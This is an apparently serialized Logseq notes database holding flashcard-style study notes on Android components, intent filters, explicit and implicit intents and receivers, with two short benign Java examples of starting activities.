3-afe9-d3144bf1adb7logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Components #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Flogseq____&quot;,79,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Vlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536876191]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Jlogseq____&quot;,[],536876191]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Hlogseq____&quot;,2,536876191]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^Hlogseq____&quot;,24,536876191]],[logseq____&quot;^15logseq____&quot;,[90,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-70d9-40db-900e-f07703ba09adlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;indicates which apps and components can *call/start this component*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Flogseq____&quot;,85,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Vlogseq____&quot;,85,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[91,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-2106-48ee-8347-e47de5275460logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Query packages / intent filterslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Flogseq____&quot;,76,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Xlogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Vlogseq____&quot;,90,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536876191]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^Jlogseq____&quot;,[],536876191]],[logseq____&quot;^15logseq____&quot;,[92,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-2ec4-4387-8c76-186f1424173clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;1. Activity A creates an [[Intent Messages]] with an action description and passes it to `startActivity()`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Flogseq____&quot;,129,536870916]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Vlogseq____&quot;,119,536870916]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Ulogseq____&quot;,75,536872810]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^Hlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[109,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-66c5-4aea-8653-d6605fbc7e29logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Open a link in the users preferred browserlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Flogseq____&quot;,460,536873239]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Vlogseq____&quot;,460,536873239]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[110,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-46fa-4b29-b8e2-2a9ad0bf9bdelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can be set explicitly or implicitlylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^Flogseq____&quot;,124,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^Vlogseq____&quot;,124,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[111,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-ff71-4965-ae2b-71ed2fac6951logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Explicit #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Flogseq____&quot;,111,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Vlogseq____&quot;,111,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536873239]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Jlogseq____&quot;,[],536873239]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Hlogseq____&quot;,2,536873239]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^Hlogseq____&quot;,24,536873239]],[logseq____&quot;^15logseq____&quot;,[112,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-f86f-4eca-ab35-108b831cdf82logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Information #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Flogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Vlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873239]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Jlogseq____&quot;,[],536873239]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Hlogseq____&quot;,2,536873239]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^Hlogseq____&quot;,24,536873239]],[logseq____&quot;^15logseq____&quot;,[113,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-63ea-49e3-86ed-708ada25dec6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```java\\nIntent intent = new Intent(this, MainActivity.class);\\nstartActivity(intent);\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Flogseq____&quot;,116,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Vlogseq____&quot;,115,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[114,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-9803-435c-8891-85ac1e5ec334logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Example:logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Flogseq____&quot;,121,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Vlogseq____&quot;,112,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[115,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-a335-44b9-83ab-c3266a39e7b4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Start `MainActivity` component within the same packagelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Flogseq____&quot;,115,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Vlogseq____&quot;,115,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[116,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-befe-4d3b-9c43-55dd83d403ddlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```java\\nIntent intent = new Intent(Intent.ACTION_VIEW);\\nintent.setData(Uri.parse(\\logseq____&quot;https://google.com\\logseq____&quot;));\\nactivity.startActivity(intent);\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Flogseq____&quot;,110,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Vlogseq____&quot;,460,536873239]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[117,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-e68b-4717-9704-e11fce1de302logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;2. The Android system searches all apps for an intent filter that matches the intentlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^Flogseq____&quot;,109,536870916]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^Vlogseq____&quot;,119,536870916]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^Ulogseq____&quot;,75,536872810]],[logseq____&quot;^15logseq____&quot;,[118,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-73d7-4add-9a2d-90240d2dd0eflogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Examplelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Flogseq____&quot;,464,536873239]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Vlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873239]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^Jlogseq____&quot;,[],536873239]],[logseq____&quot;^15logseq____&quot;,[119,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-ad5e-45eb-80d3-6a79156b4492logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;May be abused by attackers to start unintended componentslogseq____&quot;,536873239]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Flogseq____&quot;,125,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Vlogseq____&quot;,123,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[120,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-195a-425e-88eb-9cce97826172logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Specify the target component namelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Flogseq____&quot;,112,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Vlogseq____&quot;,112,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[121,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-9bc9-4a63-b7f2-ebec0ce0e95clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Specify some `Action String`, `Category` and `Data`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Flogseq____&quot;,123,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Vlogseq____&quot;,123,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[122,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-9a4d-41fc-822a-3c5fe7d8812clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Implicit #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Flogseq____&quot;,112,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Vlogseq____&quot;,111,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536873239]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Jlogseq____&quot;,[],536873239]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Hlogseq____&quot;,2,536873239]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^Hlogseq____&quot;,24,536873239]],[logseq____&quot;^15logseq____&quot;,[123,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-8d93-4973-ad1c-e3040cdf585clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Receiver Componentslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Flogseq____&quot;,113,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Vlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873239]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^Jlogseq____&quot;,[],536873239]],[logseq____&quot;^15logseq____&quot;,[124,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-5d67-46bb-b460-e6a2c39a1250logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android will find a suitable receiverlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Flogseq____&quot;,122,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Vlogseq____&quot;,123,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[125,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-184e-421f-8fb7-eb3b981cf767logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Are sent and received by applications (can also be sent to components of different apps)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Flogseq____&quot;,130,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Vlogseq____&quot;,113,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[126,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-1951-49cf-9e3e-df1332388777logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;3. When a match is found it starts the matching activity (Activity B) by invoking its `onCreate()` method and passing it the [[Intent Messages]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Flogseq____&quot;,118,536870916]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Vlogseq____&quot;,119,536870916]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Ulogseq____&quot;,75,536872810]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^Hlogseq____&quot;,75,536873239]],[logseq____&quot;^15logseq____&quot;,[127,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-fd74-4d18-ab64-d8053b860979logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Transmitted via *binder-based IPC*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Flogseq____&quot;,126,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Vlogseq____&quot;,113,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[128,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-e648-4bf6-acd8-4ffeda5c9ef2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;![](https://developer.android.com/static/images/components/intent-filters_2x.png)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^Flogseq____&quot;,119,536870916]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^Vlogseq____&quot;,119,536870916]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^Ulogseq____&quot;,75,536872810]],[logseq____&quot;^15logseq____&quot;,[129,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-36f7-4754-b268-869f00fbf4a1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Intent message as data object representing an intend to do somethinglogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Flogseq____&quot;,113,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Xlogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Vlogseq____&quot;,113,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[130,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-c855-4300-8a3a-72e638916196logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[132,logseq____&quot;^Klogseq____&quot;,1740128172005,536870916]],[logseq____&quot;^15logseq____&quot;,[132,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[132,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;organizationlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[132,logseq____&quot;^11logseq____&quot;,logseq____&quot;Organizationlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[132,logseq____&quot;^Blogseq____&quot;,1740128172005,536870916]],[logseq____&quot;^15logseq____&quot;,[132,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-44a5-4484-ab1c-06086d8510delogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Security of mobile platforms and 